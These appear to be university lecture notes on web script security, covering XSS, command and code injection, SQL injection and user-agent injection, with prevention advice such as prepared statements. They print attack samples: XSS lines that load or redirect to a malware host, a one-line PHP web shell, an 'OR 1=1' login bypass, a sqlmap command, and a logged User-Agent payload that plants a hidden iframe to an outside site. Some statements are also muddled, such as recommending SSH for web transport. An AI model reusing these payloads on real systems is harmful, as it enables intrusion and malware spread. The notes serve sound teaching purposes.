Web Script Security 1

Injection attacks
Cross-site Scripting (XSS)
Command and Code injection

Injection

There are five types of attack by injection:

1. XSS Injection: Insert hidden links in your HTML pointing to malicious sites (attack your user)
2. Code Injection: Insert hidden malicious code in your programme (attack your specific application)
3. Command Injection: Install and/or execute malware in your server (attack your server)
4. Data Injection: Execute queries to corrupt your data (attack your database)
5. User Agent Injection: DoS and security bypass attacks (attack your business)

Here, we will discuss three of them. **XSS injection** means modifying pages on a site to include malicious code, unbeknownst to the site owner. **Command injection** is executing commands on the server, inserted by the attacker through vulnerable scripts. **Command injection** occurs when untrusted code is sent to an interpreter as part of a vulnerable script.

XSS Injection

The most common code injection is JavaScript injection, which is a process by which we can insert and use our own JavaScript code in a page, either by entering the code into the address bar, or by finding a cross-site scripting XSS vulnerability in a website. The first technique normally exploits the JavaScript functions "alert" and "void". Testing it is easy, just navigate to whatever site, and type in the web browser's address bar for example:

```
javascript:void(document.bgColor="blue");
```

```
javascript:alert(document.cookie);
```

```
javascript:void(document.forms[0].name.value=1);
```

The second type of code injection is possible by the way the client browser has the ability to interpret scripts embedded within HTML content enabled by default, so if an attacker embeds script tags such <SCRIPT>, <OBJECT>, <APPLET>, or <EMBED> into a web site, the web browser's JavaScript engine will execute it. Typical targets of this type of injection are web pages where users can enter their own comments. For example, if the design of the web site isn't parsing the comments inserted, and takes '<' or '>' as real chars, a malicious user could type:

```
I like this site because <script>alert('Injected!');</script>
teaches me a lot
```

JavaScript that calls and runs scripts from an attack site:

```
<script type='text/javascript' src='http://malware-attack-
site/js/x55.js'></script>
```

Sometimes the malicious code is cleverly obfuscated to avoid detection:

```
eval(base64_decode("aWYoZnVuaauUl+hasdHTgs+slgsfUNlsgasdf"));
```

Scripting that redirects the browser to an attack site:

```
    <script>
      if(document.referrer.match(/google\.com/)) {
        window.location("http://malware-attack-site/");
      }
    </script>
```

Cross-site Scripting (XSS) example

Alice is a user of RBS website.
RBS's website allows Alice to log in and use sensitive data.
Mabel observes that Bob's website contains a reflected XSS vulnerability.
Mallory crafts a URL to exploit the vulnerability, and sends Alice an email, enticing her to click on a link for the URL under false pretenses. This URL will point to Bob's website (either directly or through an iframe or ajax), but will contain Mallory's malicious code, which the website will reflect.
Alice visits the URL provided by Mallory while logged into Bob's website.
The malicious script embedded in the URL executes in Alice's browser, as if it came directly from Bob's server (this is the actual XSS vulnerability). The script can be used to send Alice's session cookie to Mallory. Mallory can then use the session cookie to steal sensitive information available to Alice (authentication credentials, billing info, etc.) without Alice's knowledge.

Command Injection

Command injection occurs when data is passed to server scripts via a web user interface, which an attacker could use to inject system commands into these backend scripts or upload malicious scripts on the server. There are a number of ways to string system or shell commands together to create new commands, and attackers take advantage of them. Be carefully in particular with these common operators:
Redirection Operators: <, >>, >
Pipes: |
Inline commands: ;, $
Logical Operators: $, &&, ||, etc.

Finally, command injection can be more subtle than calling underlying operating system functions. If it is possible to inject a new script, then the attacker will perform command injections from that script. An attacker could simply upload a PHP file with a single line to have full access to the system:

```
<?php
echo shell_exec('cat '.$_GET['command']);
?>
```

In fact many types of attacks, including SQL Injection, have command injection as an end primary goal to gaining control of the server. Check the Slides presented in class for a full description of on the techniques you can use to prevent command injections.

Penetration test
A penetration test, colloquially known as a pen test, is an authorized simulated attack on a computer system, performed to evaluate the security of the system. The test is performed to identify both weaknesses (also referred to as vulnerabilities), including the potential for unauthorized parties to gain access to the system's features and data

Pen testers would probably start with mapping out all available IPs and ports to find out what services are running on a server. We however are going to concentrate on the simplest approach - we're going to try to attack a server through a website, because a submitted form sends information to the server and probability is high that the server will respond through the website with something in return.

Sometimes web applications need to communicate with the underlying operating system. This can either be to run system commands or to start applications written in another programming language, such as shell, or execute a python script. In order to do this, there are functions available that can execute a command that is passed to them as a shell command. While that is very useful functionality it is equally dangerous when not used correctly, and can lead to being attacked with comand injections.

Code Injection

Code injection is a vulnerability that allows an attacker to inject custom code into a server-side script or web application. This vulnerability occurs when an attacker can control all or part of an input string that is fed into a function that can execute input string as code. The typical vulnerability in PHP is using the eval() function to execute its argument as code.

The primary causes of Code Injection are Input Validation failures, the inclusion of untrusted input in any context where the input may be executed as valid code, failures to secure source code repositories, failures to exercise caution in downloading third-party libraries, and server misconfigurations, which could allow non-PHP files to be passed to the PHP interpreter by the web server. Particular attention should be paid to the final point as it means that all files uploaded to the server by untrusted users can pose a significant risk.

PHP is well known for being vulnerable to code injection because the way how it allows external code to be inserted in web applications. For example, the most obvious target for a Code Injection attack are the include(), include_once(), require() and require_once() functions. If untrusted input is allowed to determine the path, parameter passed to these functions it is possible to influence which local file will be included. It should be noted that the included file need not be an actual PHP file; any included file that is capable of carrying textual data (e.g. almost anything) is allowed.

The path parameter may also be vulnerable to a Directory Traversal or Remote File Inclusion. Using the ../ or ..(dot-dot-slash) string in a path allows an attacker to navigate to almost any file accessible to the PHP process. Another vulnerable function is eval(). In fact, you should never use it. PHP's eval() function accepts a string of PHP code to be executed.

The Regular Expression PHP function preg_replace()in allows for an "e" (PREG_REPLACE_EVAL) modifier which means the replacement string will be evaluated as PHP after substitution. Untrusted input used in the replacement string could therefore inject PHP code to be executed.

Web applications, by definition, will include various files necessary to service any given request. By manipulating the request path or its parameters, it may be possible to provoke the server into including unintended local files by taking advantage of flawed logic in its routing, dependency management, auto loading or other processes.

Such manipulations outside of what the web application was designed to handle can have unforeseen effects. For example, an application might unwittingly expose routes intended only for command line usage. The application may also expose other classes whose constructors perform tasks (not a recommended way to design classes but it happens). Either of these scenarios could interfere with the application's backend operations leading to data manipulation or a potential for Denial Of Service (DOS) attacks on resource intensive operations not intended to be directly accessible.

The best way to prevent code injection is by making sure that all your scripts properly sanitize user input before using it.

Brute Force attack:
A brute-force attack is a cryptanalytic attack that can, in theory, be used to attempt to decrypt any data. Brute-force is used when it is not possible to take advantage of other weaknesses in an encryption system (if any exist) that would make the task easier.
In practice, a brute force attack is a trial-and-error method used to generate a large number of consecutive guesses as to the value of the desired data.

When password-guessing, this method is very fast when used to check all short passwords, but for longer passwords takes too long (longer passwords, passphrases and keys have more possible values, making them exponentially more difficult to crack than shorter ones). So, brute-force attacks can be made less effective by obfuscating the data to be encoded making the attacker do more work to test each guess.
In theory, anything could be hacked with brute-force. Hence, one of the measures of the strength of an encryption system is how long it would theoretically take an attacker to mount a successful brute-force attack against it.

Brute-force software is based on an fast search algorithm, implementing the general problem-solving technique of enumerating all candidates and checking each one.

Further Reading:

https://phpsecurity.readthedocs.io/en/latest/index.html
https://www.owasp.org/index.php/Main_Page
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
http://www.codeproject.com/Articles/134024/HTML-and-JavaScript-Injection
http://www.wikihow.com/Use-JavaScript-Injections
http://www.icbl.hw.ac.uk/santiago/teaching/F28WP/References/19_attacks_for_breaking_applications.pdf
https://developers.google.com/web/fundamentals/security/hacked/
www.icbl.hw.ac.uk/santiago/teaching/F28WP/References/AssaultOnPHPapplications.pdf
http://repository.root-me.org/Exploitation%20-%20Web/?C=M&O=D
http://blog.rangeforce.com/tutorial/2017/02/23/Command-Injection/
www.icbl.hw.ac.uk/santiago/teaching/F28WP/References/Commix_command_injection_flaws.pdf
www.icbl.hw.ac.uk/santiago/teaching/F28WP/References/CommandInjectionAttacksOnRoboticVehicles

Web Script Security 2

SQL injection
User Agent injection

Data (SQL) Injection

SQL Injection is the result of lax input validation, where user data is allowed to be used in SQL queries without proper validation and screening. The insidious query may attempt inserting, modifying or deleting data from the database.

For example, say you have an HTML form that requires a username and password. Each of these form fields are named "*user*" and "*pass*" respectively. Imagine that your server-side script uses the value of those files directly in this sentence:

```
$query = "SELECT * FROM myusers WHERE username = '$user' AND password
= '$pass'";
```

Under normal circumstances the SQL query will work nicely; but it is vulnerable to SQL injection because it is using the values of **$user** and **$pass** without previous sanitization. I a hacker enter:

`'xxx OR 1=1;--random_password` as the value for "*user*", your sentence would actually be run is shown here:

```
$query = "SELECT * FROM myusers WHERE username = 'xxx' OR 1=1; --random_password' AND
password = '$pass'";
```

To understand the practical danger in this query, you have to understand that two dashes (**--**) is equivalent to the comment. Everything after the **--** is ignored by MySQL so it doesn't matter if invalid password is provided. Also, because you haven't "escaped" the single quote in the username, the single quote becomes the "end" of the value being checked against the username field. By adding an **OR 1=1** (which is always true) into the query the attacker can access your protected application because the SQL will always evaluate as true as 1 is always equals to 1.

The best way to prevent SQL injection is using ***prepared statements*** and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.

Example of using prepared statements with PDO:

```
$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');
$stmt->execute(array(':name' => $name));
foreach ($stmt as $row) {
    // do something with $row
}
```

Before using prepared statements make sure to disable the default emulation of prepared statements. An example of creating a connection using PDO is:

```
$dbConnection = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8',
'user', 'pass');
$dbConnection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$dbConnection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
```

The error mode is optional, but it will give the developer the chance to catch any error(s) which are thrown as PDOExceptions. The setAttribute() line makes sure that the statement and the values aren't parsed by PHP before sending it to the MySQL server (giving a possible attacker no chance to inject malicious SQL).

That is the way how the “prepare” sentence works. The SQL statement you pass to prepare is parsed and compiled by the database server. By specifying parameters (either a **?** or a named parameter like **:name** in the example above) you tell the database engine where you want to filter on. Then when you call execute the prepared statement is combined with the parameter values you specify. The important thing is that the parameter values are combined with the compiled statement, not a SQL string. SQL injection works by tricking the script into including malicious strings when it creates SQL to send to the database. So by sending the actual SQL separately from the parameters you limit the risk of ending up with something you didn't intend. Any parameters you send when using a prepared statement will just be treated as strings (although the database engine may do some optimization so parameters may end up as numbers too, of course). In the example above, if the **$name** variable contains **'Sarah'; DELETE * FROM employees** the result would simply be a search for the string "**'Sarah'; DELETE * FROM employees**", and you wouldn’t end up with an empty table!

Another benefit with using prepared statements is that if you execute the same statement many times in the same session it will only be interpreted once, giving you some speed gains.

Here is an example of inserting data using prepared sentences:

```
$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES
(:column)');
$preparedStatement->execute(array(':column' => $unsafeValue));
```

Using automated penetration testing scanner - SQLmap as example

Sqlmap is a popular open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

Sqlmap supports the HTTP cookie features so it can be useful in two ways:

- Authentication based upon cookies when the web application requires that.
- Detection and exploitation of SQL injection on such header values.

By default sqlmap tests all GET parameters and POST parameters. When the value of –level is set to 2 or above it tests also HTTP Cookie header values. When this value is set to 3 or above, it tests also HTTP User-Agent and HTTP Referer header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence on the value of –level too.

Tested HTTP parameter	Level in sqlmap
GET	1 (Default)
POST	1 (Default)
HTTP Cookie	2 ≥
HTTP User-Agent	3 ≥
HTTP Referer	3 ≥

For instance, to test for GET parameter id and for HTTP User-Agent only, provide -p id,user-agent.

This is an example of how we can test the parameter named *security* of an HTTP Cookie of the DVWA (Damn Vulnerable Web Application).

```
./sqlmap.py -u
'http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#'
--cookie='PHPSESSID=0e4jfbrgd8190ig3uba7rvsip1; security=low'
--string='First name' --dbs --level 3 -p PHPSESSID
```

The flag –string compare between the valid pages and the invalid one (due to the injection). In the other hand, the flag –dbs is used to enumerate the database management systems. Finally, the flag –p force the testing of the PHPSESSID variable.

Other useful penetration testing scanners are Arachni, IBM AppScan, Acunetix WVS and NTOSpider.

User Agent Injection

The User Agent field is part of the HTTP request header that is associated to every webpage. The User Agent is a browser textual string containing data about the browser model, compatibility, working system, any modifying plugins, among other information. Using this knowledge, a web site can assess the capabilities of your computer in order to optimise the rendering of the website content on your browser. The HTTP header *User agent* field will always give the software program used by the original client. This is for statistical purposes and the tracing of protocol violations. The first white space delimited word must be the software product name, with an optional slash and version designator.

Due to the configuration processing of PHP, an attacker can inject their own PHP code into the User-Agent field and have it execute by the web application. What is interesting about this attack technique is that it is very similar in exploit theory to reflected Cross-site Scripting (XSS) attacks. In this case, however, the web application is the one executing the reflected code and not the end user's web browser. Here is an example of an attack:

```
202.131.112.69 - - [12/Dec/2012:06:38:19 +0200] "GET
//index.php?option=com_svmap&controller=../../../../../../../../../.
./../../../../proc/self/environ%00 HTTP/1.1" 404 292 "-" "<?php
echo(\"KURWA\"); file_put_contents(\"./index.php\",
base64_decode(\"Pz48aWZyYW1lIHNyYz0iaHR0cDovL3p1by5wb2Rnb3J6Lm9yZy96dW8
vZWxlbi9pbmRleC5waHAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZyYW1lYm9yZGVyPSIwIj
48L2lmcmFtZT48P3BocA==\"), FILE_APPEND); ?>"
```

The highlighted portion of the Apache access_log file shows that the attacker has placed PHP code within the User-Agent field of the request. What does this code do?

1. It echoes the string "KURWA" back in the response. It is assumed that this is simply a beacon call to let the attacker know that the code has been executed (which means the site is potentially vulnerable).

2. Uses the PHP function called file_put_contents which is used to write data to a file.

3. The attacker's goal is to append the base64 encoded string to the end of the existing index.php file.

The base64-encoded string decodes to:

```
?><iframe src="http://zuo.podgorz.org/zuo/elen/index.php" width="0"
height="0" frameborder="0"></iframe><?php
```

The purpose, therefore, of this particular attack is to insert a drive-by-download invisible IFRAME onto the end of the index.php file. The remote site would most likely be serving some type of malware kit such as Blackhole. Adding malware links is but only one option however. Other exploit examples could include using wget/curl to download a backdoor webshell.

Cookies and other stored HTTP headers should be treated by developers as another form of user input and be subjected to the same validation routines.

Sensitive Data Exposure

IT systems usually save in a database user's personal information such as passwords, credit card numbers, house address', telephone number, id number etc. When the system is not protected effectively from unauthorised access or it doesn't use encryption to store sensitive data, there is a high probability that a hacker might exploit that vulnerability and steal that information. That vulnerability is called “Sensitive Data Exposure”.

The first thing you have to determine is which data is sensitive enough to require extra protection. For example, passwords, credit card numbers, health records, and personal information should be transmitted over the net using the SSH secure protocol and stored using up-to-date and reliable cryptographic algorithms. Also, you should never use cookies or hidden form fields to store or transmit sensitive data.

Using Components with unknown vulnerabilities

Components, such as libraries, frameworks, and other software modules, usually run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defences and enable a range of possible attacks and impacts.

Determining if you are vulnerable requires monitoring the developments of the external software you are using in your application, as well as keeping abreast of project mailing lists and announcements for anything that might be a vulnerability. In theory, it ought to be easy to figure out if you are currently using any vulnerable components or libraries. Unfortunately, vulnerability reports for commercial or open source software do not always specify exactly which versions of a component are vulnerable in a standard, searchable way.

One extreme option is not to use components that you didn't write. However, that is not realistic. Nowadays you must use software developed by others in your applications. It is important that you carefully verify the provenance of any software that you plan to use in your own applications. In general, Open Source hosted at the Apache Foundation is reliable and safe. Others trustable Open Source hosting providers are GitHub, Google Code and SourceForge. It is equally important that you keep up-to-date the versions of the external software used by your scripts. Most software projects do not create vulnerability patches for old versions. Instead, most simply fix the problem in the next version. So upgrading to these new versions is critical.

Web Security Best Practices

- Fighting against hacking is a never-ending process and the best strategy is to prevent it from happening in the first place.
- Never utilize user input in a system level command.
- Do not rely on client-side JavaScript validation whenever possible.
- Always validate the user input at server side using a secure algorithm.
- Don't store sensible data into cookies. If you need to store data in cookies, store them with a hash signature generated with a server side key.
- Do not use dynamic DOM element generation using user data input.
- Remove special HTML chars, so injected tags will be maintained in the website, but will not be executed
- Make use of built PHP functions such as strip_tags() PHP function, htmlentities(), urlencode(), or htmlspecialchars()
- Always validate file uploads using all the tools and functions available for you to check files (e.g. mime_content_type or Fileinfo).
- Only use trustable Third-Party Libraries in your code and keep them up-to-date.

Further Reading

http://www.php.net/manual/en/security.database.sql-injection.php
http://php.net/manual/en/book.pdo.php

http://stackoverflow.com/questions/60174/how-can-i-prevent-sql-injection-in-php
http://www.php.net/manual/en/security.database.sql-injection.php

http://coursesweb.net/php-mysql/pdo-prepare-execute
http://www.webappsec.org
http://www.icbl.hw.ac.uk/santiago/teaching/F28WP/References/Guide2PHP security_chapter3_SQLinjection.pdf

http://blog.spiderlabs.com/2012/09/blackhole-exploit-kit-v2.html

https://resources.infosecinstitute.com/